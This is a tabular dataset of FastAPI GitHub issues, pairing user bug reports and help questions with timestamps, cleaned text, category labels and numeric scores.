tiangolo/fastapi,2459358052,ASGI Error,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

 Error loading ASGI app. Could not import module ""main"".",,2024-08-11 00:59:10+00:00,2024-08-11 05:12:09+00:00,0,nan,0.1757,asgi error privileged issue x i m tiangolo or he asked me directly to create an issue here issue content error loading asgi app could not import module main,bug,-0.25
tiangolo/fastapi,2431602781,How to distinguish None value sent by user and default None value for an optional argument in a API,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have a API with 3 arguments, one of them is Optional with default value as None.
When user send a post request without this argument -> ok, continue to process this argument with None value.
But when user send None value for this argument, I want to detect and return error",,2024-07-26 07:24:30+00:00,2024-07-27 07:23:22+00:00,3,nan,0.9992,how to distinguish none value sent by user and default none value for an optional argument in a api privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i have a api with arguments one of them is optional with default value as none when user send a post request without this argument ok continue to process this argument with none value but when user send none value for this argument i want to detect and return error,help,-0.9379
tiangolo/fastapi,2424470072,fastapi nonsupport python 3.12 ? ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

fastapi nonsupport python 3.12 ? ",,2024-07-23 07:26:35+00:00,2024-07-23 08:28:41+00:00,1,nan,0.0431,fastapi nonsupport python privileged issue x i m tiangolo or he asked me directly to create an issue here issue content fastapi nonsupport python,help,0.6124
tiangolo/fastapi,2397432404,"I have many routes that need to use ""page"" and ""page_size"". Is there a solution with class inheritance for Query ?","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I have many routes that need to use ""page"" and ""page_size"". Is there a solution with class inheritance for Query ?",,2024-07-09 07:53:35+00:00,2024-07-09 08:00:41+00:00,0,nan,0.0049,i have many routes that need to use page and page size is there a solution with class inheritance for query privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i have many routes that need to use page and page size is there a solution with class inheritance for query,others,0.8225
tiangolo/fastapi,2370920427,Basic auth accepts wrong password as a correct one!,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

``` python
from fastapi import Depends, FastAPI, HTTPException
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from starlette.status import HTTP_401_UNAUTHORIZED

app = FastAPI()

security = HTTPBasic()


def get_current_username(credentials: HTTPBasicCredentials = Depends(security)):
    if credentials.username != ""foo"" or credentials.password != ""password"":
        raise HTTPException(
            status_code=HTTP_401_UNAUTHORIZED,
            detail=""Incorrect email or password"",
            headers={""WWW-Authenticate"": ""Basic""},
        )
    return credentials.username


@app.get(""/users/me"")
def read_current_user(username: str = Depends(get_current_username)):
    return {""username"": username}


import uvicorn

uvicorn.run(app, host=""0.0.0.0"", port=8000)
```

Hi I'm struggling to place a basic auth, and using the latest fastapi version but still the app is working with any random string",,2024-06-24 19:12:03+00:00,2024-06-25 05:40:05+00:00,1,nan,0.4361,basic auth accepts wrong password as a correct one privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hi i m struggling to place a basic auth and using the latest fastapi version but still the app is working with any random string,others,0.0516
tiangolo/fastapi,2369922028,"pydantic error: look-around, including look-ahead and look-behind, is not supported","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

## 
```python
from fastapi import FastAPI, Request, Path

from pydantic import ConfigDict

from core import settings

app = FastAPI()


@app.get(""/{url:path}"", summary=""前端网页"", response_class=str)
async def frontend_page(
    request: Request,
    url: str = Path(
        ...,
        pattern=f""^(?!{settings.OPENAPI_V1_STR}/).*"",
        # json_schema_extra=ConfigDict(regex_engine=""python-re""),
    ),
):

    return ""success""


# 主程序入口
if __name__ == ""__main__"":
    import uvicorn

    uvicorn.run(app, host=settings.OPENAPI_HOST, port=7791)
```

## Python、Pydantic 和 OS 版本
pydantic version: 2.7.3
        pydantic-core version: 2.18.4
        fastapi 0.111.0
          pydantic-core build: profile=release pgo=true
                 install path: /.venv/lib/python3.12/site-packages/pydantic
               python version: 3.10.12
               
 ## code error details
 
During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File ""D:\src\project\yjerp\ims\test.py"", line 11, in <module>
    async def frontend_page(
  File ""D:\down_app\Anaconda3\envs\ims\lib\site-packages\fastapi\routing.py"", line 944, in decorator
    self.add_api_route(
  File ""D:\down_app\Anaconda3\envs\ims\lib\site-packages\fastapi\routing.py"", line 883, in add_api_route
    route = route_class(
  File ""D:\... [TRUNCATED]",,2024-06-24 10:55:18+00:00,2024-06-24 16:57:40+00:00,0,nan,0.2516,pydantic error look around including look ahead and look behind is not supported privileged issue x i m tiangolo or he asked me directly to create an issue here issue content python pydantic os pydantic version pydantic core version fastapi pydantic core build profile release pgo true install path venv lib python site packages pydantic python version code error details during handling of the above exception another exception occurred traceback most recent call last file d src project yjerp ims test py line in async def frontend page file d down app anaconda envs ims lib site packages fastapi routing py line in decorator self add api route file d down app anaconda envs ims lib site packages fastapi routing py line in add api route route route class file d truncated,bug,-0.6671
tiangolo/fastapi,2368718884,test issue fasapi,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

test",,2024-06-23 16:52:28+00:00,2024-06-23 16:54:28+00:00,2,nan,0.0014,test issue fasapi privileged issue x i m tiangolo or he asked me directly to create an issue here issue content test,bug,0.6124
tiangolo/fastapi,2345458313,app.mout not working while packaging fastapi application using pyinstaller,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

`app = FastAPI()
base_dir = os.path.dirname(os.path.abspath(__file__))

# Full paths for static and templates directories
static_dir = os.path.join(base_dir, ""app/static"")
templates_dir = os.path.join(base_dir, ""app/templates"")

# Mount the 'static' directory to serve static files
app.mount(""/static"", StaticFiles(directory=static_dir), name=""static"")
app.mount(""/templates"", StaticFiles(directory=templates_dir), name=""templates"")

app.include_router(auths.auth)

if __name__ == ""__main__"":
    import uvicorn
    uvicorn.run(app, host=""0.0.0.0"", port=8000)`

Application is running well through uvicorn or `python main.py` or `fastapi dev` 

but i am trying to make build of my application through pyinstaller (command is below)
`pyinstaller -F --onefile main.py`

and when i am commenting the app.mount lines then the build is working fine, only it is giving below error for app.mout

`PS C:\Users\Nitish Kumar\abc\cas-apis\dist> .\main.exe
Database connection is active.
Traceback (most recent call last):
  File ""main.py"", line 84, in <module>
  File ""starlette\staticfiles.py"", line 59, in __init__
RuntimeError: Directory 'app/static' does not exist
[3076] Failed to execute script 'main' due to unhandled exception!
PS C:\Users\Nitish Kumar\abc\cas-apis\dist> .\main.exe
Database connection is active.
Traceback (most recent call last):
  File ""m... [TRUNCATED]",,2024-06-11 05:54:20+00:00,2024-06-11 07:04:53+00:00,0,nan,0.049,app mout not working while packaging fastapi application using pyinstaller privileged issue x i m tiangolo or he asked me directly to create an issue here issue content app fastapi base dir os path dirname os path abspath file full paths for static and templates directories static dir os path join base dir app static templates dir os path join base dir app templates mount the static directory to serve static files app mount static staticfiles directory static dir name static app mount templates staticfiles directory templates dir name templates app include router auths auth if name main import uvicorn uvicorn run app host port application is running well through uvicorn or or but i am trying to make build of my application through pyinstaller command is below and when i am commenting the app mount lines then the build is working fine only it is giving below error for app mout ps c users nitish kumar abc cas apis dist main exe database connection is active traceback most recent call last file main py line in file starlette staticfiles py line in init runtimeerror directory app static does not exist failed to execute script main due to unhandled exception ps c users nitish kumar abc cas apis dist main exe database connection is active traceback most recent call last file m truncated,others,0.9451
tiangolo/fastapi,2342068820,feat: send streams like websocket or sanic way,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

some case use send multi in different code stage, 
sse  = StreamingResponse()
sse.send(""llm end"")
time.sleep(30) # mock rag search
sse.send(""llm response"")
sse.send(""llm end"")",,2024-06-09 07:18:25+00:00,2024-06-11 07:05:01+00:00,0,nan,1.9907,send streams like websocket or sanic way privileged issue x i m tiangolo or he asked me directly to create an issue here issue content some case use send multi in different code stage sse streamingresponse sse send llm end time sleep mock rag search sse send llm response sse send llm end,feature,0.5719
tiangolo/fastapi,2341757349,Support for Websocket Ping to check connection status and clean up stale connections,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I just read #626, and it seems like handling ping was discussed and resolved, but nothing was mentioned around sending a ping out to a client.  I believe that would test the connection and allow a WebsocketDiscconnect exception to be thrown allowing the connection to be cleaned up.  It seems though that the websocket I'm referencing doesn't expose a `.conn` attribute so I don't understand how to send a ping.  Could someone provide a more explicit explanation around invoking websocket [ping](https://datatracker.ietf.org/doc/html/rfc6455#section-5.5.2) from the server to validate connections?",,2024-06-08 17:37:52+00:00,2024-06-08 17:44:06+00:00,0,nan,0.0043,support for websocket ping to check connection status and clean up stale connections privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i just read and it seems like handling ping was discussed and resolved but nothing was mentioned around sending a ping out to a client i believe that would test the connection and allow a websocketdiscconnect exception to be thrown allowing the connection to be cleaned up it seems though that the websocket i m referencing doesn t expose a attribute so i don t understand how to send a ping could someone provide a more explicit explanation around invoking websocket ping from the server to validate connections,help,0.875
tiangolo/fastapi,2322248947,"How to upload header, body, params and files at the same time","### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

here is my code.
If I only Use Request or UploadFile.It's OK. If I both use it. It raise 422.

server.py
```
import uvicorn
from fastapi import FastAPI, UploadFile, Request
from fastapi_restful import Resource, Api
from pydantic import BaseModel

class InputParams(BaseModel):
    request_uuid:str
    user_id:str = """"
    channelId:str
    SceneId:str

app = FastAPI()
api = Api(app)

class MyResource(Resource):
    async def post(self, request:Request, file: UploadFile):
        return ""success""

api.add_resource(MyResource(), ""/uploadfile"")

if __name__ == ""__main__"":
    uvicorn.run(app)
```


client.py
```
import requests

files = {""file"": (""server.py"", open(""server.py"", ""rb""))}
body = {
    ""request_uuid"": ""test_uuid"",
    ""user_id"": ""test_user""
}
params = {""channelId"":""test_channel"", ""sceneId"": ""test_scene""}
headers = {""Content-Type"": ""application/json;charset=UTF-8""}
response = requests.post(""http://127.0.0.1:8000/uploadfile"", headers=headers, json=body, params=params,files=files)
print(response.status_code)
print(response.json())
```

raise 422 Error

Due to the code specification, I can't write a lot of variables inside `def`
I ask chatgpt-4o。Then
server.py
```
import uvicorn
from fastapi import FastAPI, UploadFile, Request
from fastapi_restful import Resource, Api
from pydantic import BaseModel

class I... [TRUNCATED]",,2024-05-29 02:55:28+00:00,2024-05-30 10:26:49+00:00,3,nan,1.3134,how to upload header body params and files at the same time privileged issue x i m tiangolo or he asked me directly to create an issue here issue content here is my code if i only use request or uploadfile it s ok if i both use it it raise server py client py raise error due to the code specification i can t write a lot of variables inside i ask chatgpt o then server py import uvicorn from fastapi import fastapi uploadfile request from fastapi restful import resource api from pydantic import basemodel class i truncated,help,0.6908
tiangolo/fastapi,2312214650,How to use single database connection throughout application. ,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

How to use single database connection throughout application using sqlalchemy. I have to interact with two different database, i do not want to create database session  on every request. is there any way to create single database connection for each database when application started.
",,2024-05-23 07:52:26+00:00,2024-05-23 08:04:46+00:00,0,nan,0.0086,how to use single database connection throughout application privileged issue i m tiangolo or he asked me directly to create an issue here issue content how to use single database connection throughout application using sqlalchemy i have to interact with two different database i do not want to create database session on every request is there any way to create single database connection for each database when application started,help,0.7893
tiangolo/fastapi,2309439897,[BUG] Swagger documents cannot be accessed directly through the browser after setting the proxy using root_path,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

### Operating System
Windows

### FastAPI Version
0.109.1

### Pydantic Version
2.5.3

### Python Version
3.9.18

### Uvicorn Version
0.27.0
```
from fastapi import FastAPI
import uvicorn


app = FastAPI()


@app.get('/test')
def test():
    return {'test': 'test content'}


if __name__ == '__main__':
    uvicorn.run(app='app:app', root_path='/proxy')
```
When I run the above code, I am unable to access the Swagger document through http://127.0.0.1:8000/docs or http://127.0.0.1:8000/proxy/docs in my browser(Not Found /proxy/openapi.json).",,2024-05-22 02:26:37+00:00,2024-05-23 08:05:04+00:00,0,nan,1.235,bug swagger documents cannot be accessed directly through the browser after setting the proxy using root path privileged issue x i m tiangolo or he asked me directly to create an issue here issue content windows fastapi version pydantic version python version uvicorn version when i run the above code i am unable to access the swagger document through or in my browser not found proxy openapi json,bug,0.25
tiangolo/fastapi,2299483135,Is there a bug in the single body pass parameter?,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

server
```
from fastapi import FastAPI
import uvicorn
from pydantic import BaseModel

app = FastAPI()

class InputParams(BaseModel):
    name:str

@app.post(""/"")
async def index(params:InputParams):
    return f""hello {params.name}""


uvicorn.run(app)
```




client
```
import requests
import json

host = ""http://localhost:8000""
uri = ""/""
url = host + uri


body = {""name"": ""aaa""}

response = requests.post(url, json=body)
print(response.status_code)
print(response.json())
```


It's OK. 
server
```
from fastapi import FastAPI, Body
import uvicorn

app = FastAPI()

@app.post(""/"")
async def index(name:str=Body(), age:int=Body()):
    return f""hello {name}, {age}""


uvicorn.run(app)
```

client
```
import requests
import json

host = ""http://localhost:8000""
uri = ""/""
url = host + uri


body = {""name"": ""aaa"", ""age"":18}

response = requests.post(url, json=body)
print(response.status_code)
print(response.json())
```


OK again.


server
```
from fastapi import FastAPI, Body
import uvicorn
from pydantic import BaseModel

app = FastAPI()

class InputParams(BaseModel):
    name:str
    age:int

@app.post(""/"")
async def index(params:InputParams):
    return f""hello {params.name, params.age}, ""


uvicorn.run(app)
```


client
```
import requests
import json

host = ""http://loca... [TRUNCATED]",,2024-05-16 06:36:59+00:00,2024-05-16 07:34:15+00:00,5,nan,0.0398,is there a bug in the single body pass parameter privileged issue x i m tiangolo or he asked me directly to create an issue here issue content server client it s ok server client ok again server client import requests import json host truncated,bug,0.6597
tiangolo/fastapi,2298205114,"Query fields with numeric types appear not to enforce allow_inf_nan=False, whereas gt=0, etc are enforced","### Discussed in https://github.com/tiangolo/fastapi/discussions/11577

<div type='discussions-op-text'>

<sup>Originally posted by **pat-lasswell** May 14, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import aiohttp
import asyncio
import math
import uvicorn

from fastapi import FastAPI, Query, Request, Response
from http import HTTPStatus
from typing import Annotated

app = FastAPI()

@app.get('/')
async def get(
        x: Annotated[float | None, Query(gt=0,                description='x')] = 1,
        y: Annotated[float | None, Query(allow_inf_nan=False, description='y')] = 0) -> str:

    assert x > 0
    assert not math.isnan(y) and not math.isinf(... [TRUNCATED]",bug,2024-05-15 15:15:03+00:00,2024-08-24 19:27:38+00:00,2,bug,101.1754,query fields with numeric types appear not to enforce allow inf nan false whereas gt etc are enforced discussed in originally posted by pat lasswell may first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import aiohttp import asyncio import math import uvicorn from fastapi import fastapi query request response from http import httpstatus from typing import annotated app fastapi app get async def get x annotated float none query gt description x y annotated float none query allow inf nan false description y str assert x assert not math isnan y and not math isinf truncated,bug,0.9269
tiangolo/fastapi,2291692472,fastapi dev runs stuck,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The first time I ran fastapi dev, there was no problem, but I encountered a code error. Then after I modified the code and saved it, a WARNING: WatchFiles detected changes in 'tool/index.py'. Reloading... then got stuck and could not exit.

<img width=""983"" alt=""image"" src=""https://github.com/tiangolo/fastapi/assets/29888469/f596a4fb-af29-4098-b489-3d9efee08f2c"">
",,2024-05-13 02:50:34+00:00,2025-12-12 15:20:02+00:00,35,nan,578.5205,fastapi dev runs stuck privileged issue x i m tiangolo or he asked me directly to create an issue here issue content the first time i ran fastapi dev there was no problem but i encountered a code error then after i modified the code and saved it a warning watchfiles detected changes in tool index py reloading then got stuck and could not exit img width alt image src,others,-0.7469
tiangolo/fastapi,2290805082,middleware,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

```python
class LogMiddleware(BaseHTTPMiddleware):

    def __init__(self, app):
        super().__init__(app)

    async def dispatch(self, request: Request, call_next) -> Response:
        transaction_id = str(uuid.uuid4()).replace('-', '')
        with logger.contextualize(request_id=transaction_id):
            client = request.client.host
            http_type = request.scope.get(""type"") + ""/"" + request.scope.get('http_version')
            header = request.headers.get(""user-agent"")
            request_url = str(request.url)
            request_time = datetime.datetime.now()
            http_method = request.method
            if http_method == ""GET"":
                request_content = str(request.query_params)
            elif http_method == ""POST"":
                body_ = await request.json()
                request_content = str(body_)
        
            response = await call_next(request)
            
            method_code = request.scope.get(""route"").name if request.scope.get(""route"") is not None else """",
            if request_url.rfind(""docs"") != -1:
                return response
            response_time = datetime.datetime.now()
            body = b""""
            async for chunk in response.body_iterator:
                body += chunk
            result = json.loads(body.decode(""utf-8""))
            response_code = 0 ... [TRUNCATED]",,2024-05-11 09:27:22+00:00,2024-05-12 05:18:20+00:00,0,nan,0.8271,middleware privileged issue x i m tiangolo or he asked me directly to create an issue here issue content python class logmiddleware basehttpmiddleware def init self app super init app async def dispatch self request request call next response transaction id str uuid uuid replace with logger contextualize request id transaction id client request client host http type request scope get type request scope get http version header request headers get user agent request url str request url request time datetime datetime now http method request method if http method get request content str request query params elif http method post body await request json request content str body response await call next request method code request scope get route name if request scope get route is not none else if request url rfind docs return response response time datetime datetime now body b async for chunk in response body iterator body chunk result json loads body decode utf response code truncated,others,0.8658
tiangolo/fastapi,2287585837,How pydantic handles if request body is None,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Suppose I have a model:
class User(Basemodel):
    name: str
    age: str
    
And I have an endpoint something like:
@app.post(""/user"", description=""User add"")
def add_user(add_user_data: User):
    so_something()
    
 I am expecting a request body with the user details as show above in pydantic model
 Question is how should I handle the case when request body is None 
 
 Note:
 I am using fastapi add_exception_handler() function to handle the incoming request before reaching it to the endpoint some thing like:
 
 def handle_pydantic_validations(request: Request, exc: ValidationError):
    errors = exc.args[0]
    error_list = [{error[""loc""][1]: error[""msg""]} for error in errors]
    return make_response(status_code=status.HTTP_400_BAD_REQUEST, body={""body"": error_list,
                                                                        ""status_code"": status.HTTP_400_BAD_REQUEST})
 ",,2024-05-09 12:25:36+00:00,2024-05-09 13:16:15+00:00,0,nan,0.0352,how pydantic handles if request body is none privileged issue x i m tiangolo or he asked me directly to create an issue here issue content suppose i have a model class user basemodel name str age str and i have an endpoint something like app post user description user add def add user add user data user so something i am expecting a request body with the user details as show above in pydantic model question is how should i handle the case when request body is none note i am using fastapi add exception handler function to handle the incoming request before reaching it to the endpoint some thing like def handle pydantic validations request request exc validationerror errors exc args error list error loc error msg for error in errors return make response status code status http bad request body body error list status code status http bad request,feature,-0.9653
tiangolo/fastapi,2286266532,"hi @chrisK824, my use case is that I have a router which has a global dependency to validate jwt tokens. then, i also have endpoints which come under the secure router where i want to check for the permissions, so for example","hi @WilliamStam, my use case is that I have a router which has a global dependency to validate jwt tokens. then, i also have endpoints which come under the secure router where i want to check for the permissions, so for example

```
secure_router = APIRouter(dependencies=[Security(auth0_token)])
@secure_router.get(""/api/{org}/user"",
                    dependencies=[Depends(PermissionsValidator([""read:{org}""]))])
```
and PermissionsValidator is defined as:
```
class PermissionsValidator:
    def __init__(self, required_permissions: list[str]):
        self.required_permissions = required_permissions

    def __call__(self, token: JWTPayload = Security(auth0_token)):
        token_permissions = token.permissions
        token_permissions_set = set(token_permissions)
        required_permissions_set = set(self.required_permissions)

        if not required_permissions_set.issubset(token_permissions_set):
            raise PermissionDeniedException
```
it seems to me that the jwt token will be validated twice in this scenario - is it possible to do it only once?

_Originally posted by @rohantandon25 in https://github.com/tiangolo/fastapi/discussions/10388#discussioncomment-9359260_",,2024-05-08 19:11:38+00:00,2024-05-08 19:17:50+00:00,0,nan,0.0043,hi chrisk my use case is that i have a router which has a global dependency to validate jwt tokens then i also have endpoints which come under the secure router where i want to check for the permissions so for example hi williamstam my use case is that i have a router which has a global dependency to validate jwt tokens then i also have endpoints which come under the secure router where i want to check for the permissions so for example and permissionsvalidator is defined as it seems to me that the jwt token will be validated twice in this scenario is it possible to do it only once originally posted by rohantandon in,others,0.8834
tiangolo/fastapi,2223300607,When backend restart the frontend request a protected api cause an unhandle exception:  Exception in ASGI application,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

The following code catch JWTError, but result an Exception.
```python
def get_current_user(session: SessionDep, token: TokenDep) -> Type[User]:
    try:
        payload = jwt.decode(
            token, config.SECRET_KEY, algorithms=[config.SECURITY_ALGORITHM]
        )
        token_data = TokenPayload(**payload)
    except (jwt.JWTError, ValidationError):
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail=""Could not validate credentials"",
        )
    user = session.get(User, token_data.sub)
    if not user:
        raise HTTPException(status_code=404, detail=""User not found"")
    if not user.is_active:
        raise HTTPException(status_code=400, detail=""Inactive user"")
    return user


CurrentUser = Annotated[User, Depends(get_current_user)]
```

When frontend use a wrong Token or backend restarted, the framework cause an unhandled exception.
```
ERROR:    Exception in ASGI application
  + Exception Group Traceback (most recent call last):
  |   File ""C:\Users\Lenovo\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\Local\pypoetry\Cache\virtualenvs\moonlight-backend-ZJgMLtnY-py3.11\Lib\site-packages\starlette\_utils.py"", line 87, in collapse_excgroups
  |     yield
  |   File ""C:\Users\Lenovo\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10... [TRUNCATED]",,2024-04-03 15:51:17+00:00,2024-04-03 18:00:58+00:00,3,nan,0.0901,when backend restart the frontend request a protected api cause an unhandle exception exception in asgi application privileged issue x i m tiangolo or he asked me directly to create an issue here issue content the following code catch jwterror but result an exception when frontend use a wrong token or backend restarted the framework cause an unhandled exception error exception in asgi application exception group traceback most recent call last file c users lenovo appdata local packages pythonsoftwarefoundation python qbz n kfra p localcache local pypoetry cache virtualenvs moonlight backend zjgmltny py lib site packages starlette utils py line in collapse excgroups yield file c users lenovo appdata local packages pythonsoftwarefoundation python truncated,feature,-0.875
tiangolo/fastapi,2214589732,It throws an exception when I specify return Http status code,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

ERROR:    Exception in ASGI application
Traceback (most recent call last):
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\uvicorn\protocols\http\h11_impl.py"", line 407, in run_asgi
    result = await app(  # type: ignore[func-returns-value]
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\uvicorn\middleware\proxy_headers.py"", line 78, in __call__
    return await self.app(scope, receive, send)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\fastapi\applications.py"", line 1054, in __call__
    await super().__call__(scope, receive, send)
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\applications.py"", line 123, in __call__
    await self.middleware_stack(scope, receive, send)
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\middleware\errors.py"", line 186, in __call__
    raise exc
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\middleware\errors.py"", line 164, in __call__
    await self.app(scope, receive, _send)
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\middleware\cors.py"", line 83, in __call__
    await self.app(scope, receive, send)
  File ""C:\ProgramData\miniconda3\envs\SMS\Lib\site-packages\starlette\mid... [TRUNCATED]",,2024-03-29 03:40:13+00:00,2024-03-29 05:29:14+00:00,0,nan,0.0757,it throws an exception when i specify return http status code privileged issue i m tiangolo or he asked me directly to create an issue here issue content error exception in asgi application traceback most recent call last file c programdata miniconda envs sms lib site packages uvicorn protocols http h impl py line in run asgi result await app type ignore func returns value file c programdata miniconda envs sms lib site packages uvicorn middleware proxy headers py line in call return await self app scope receive send file c programdata miniconda envs sms lib site packages fastapi applications py line in call await super call scope receive send file c programdata miniconda envs sms lib site packages starlette applications py line in call await self middleware stack scope receive send file c programdata miniconda envs sms lib site packages starlette middleware errors py line in call raise exc file c programdata miniconda envs sms lib site packages starlette middleware errors py line in call await self app scope receive send file c programdata miniconda envs sms lib site packages starlette middleware cors py line in call await self app scope receive send file c programdata miniconda envs sms lib site packages starlette mid truncated,others,0.6597
tiangolo/fastapi,2207045917,middleware type ,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

app.add_middleware(GZipMiddleware),  pycharm 2023.3.5, will tooltip:: Expected type 'Type[_MiddlewareClass]' (matched generic type 'Type[_MiddlewareClass[ParamSpec(""P"")]]'), got 'Type[GZipMiddleware]' instead 
![CleanShot 2024-03-26 at 09 22 35](https://github.com/tiangolo/fastapi/assets/6077601/dbe3c863-35ce-45bc-8025-fb48d8bdcf51)
",,2024-03-26 01:22:49+00:00,2024-03-26 06:33:15+00:00,0,nan,0.2156,middleware type privileged issue x i m tiangolo or he asked me directly to create an issue here issue content app add middleware gzipmiddleware pycharm will tooltip expected type type middlewareclass matched generic type type middlewareclass paramspec p got type gzipmiddleware instead cleanshot at,others,0.6124
tiangolo/fastapi,2183174282,Package on test.pypi.org is broken,"Package on test.pypi.org is broken 

```
~/Downloads/FASTAPI-1.0 > ls -al
total 40
drwxrwxrwx@   9 supemroon  staff   288  9 29  2022 .
drwx------@ 137 supemroon  staff  4384  2 21 10:03 ..
drwxrwxrwx@   7 supemroon  staff   224  9 29  2022 FASTAPI.egg-info
-rw-rw-rw-@   1 supemroon  staff  1076  9 29  2022 LICENSE.txt
-rw-rw-rw-@   1 supemroon  staff   328  9 29  2022 PKG-INFO
-rw-rw-rw-@   1 supemroon  staff   537  9 29  2022 README.md
-rw-rw-rw-@   1 supemroon  staff    42  9 29  2022 setup.cfg
-rw-rw-rw-@   1 supemroon  staff   602  9 29  2022 setup.py
drwxrwxrwx@   4 supemroon  staff   128  9 29  2022 venv
```


```
# setup.py

from setuptools import setup

with open('DESCRIPTION.txt') as file:
    long_description = file.read()

with open('requirements.txt') as f:
    required = f.read().splitlines()

setup(name='FASTAPI',
      version='1.0',
      description='A small api that uses fastapi-users',
      long_description=long_description,
      url = ""https://github.com/ladejavu/python-dev/tree/docker"",
      author='sundus_ladejavu',
      author_email='sundus.khalid@ladejavu.com',
      license='MIT',
      packages=['venv'],
      install_requires=required,
      keywords='fastapi'
      )
```

_Originally posted by @GodMoonGoodman in https://github.com/tiangolo/fastapi/discussions/11173#discussioncomment-8536969_",,2024-03-13 05:53:54+00:00,2024-03-13 08:24:19+00:00,0,nan,0.1045,package on test pypi org is broken package on test pypi org is broken originally posted by godmoongoodman in,others,-0.7351
tiangolo/fastapi,2181121916,trying to live video stream using Fastapi,"### Privileged issue

- [X] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

while i am trying to build Fastapi with html to live stream video but i am getting this error ""no video with supported format and MIME type found"" can any please help me with this error",,2024-03-12 09:24:10+00:00,2024-03-12 09:52:48+00:00,0,nan,0.0199,trying to live video stream using fastapi privileged issue x i m tiangolo or he asked me directly to create an issue here issue content while i am trying to build fastapi with html to live stream video but i am getting this error no video with supported format and mime type found can any please help me with this error,others,-0.3291
tiangolo/fastapi,2168779501,Breaking change with path parameters when updating to pydantic>=2 from pydantic<2,"### Discussed in https://github.com/tiangolo/fastapi/discussions/11250

<div type='discussions-op-text'>

<sup>Originally posted by **ThirVondukr** March  5, 2024</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from uuid import UUID

from fastapi import FastAPI

app = FastAPI()


@app.get(""/int/{path}"")
async def int_(path: int | str):
    return str(type(path))


@app.get(""/uuid/{path}"")
async def uuid_(path: UUID | str):
    return str(type(path))
```


### Description

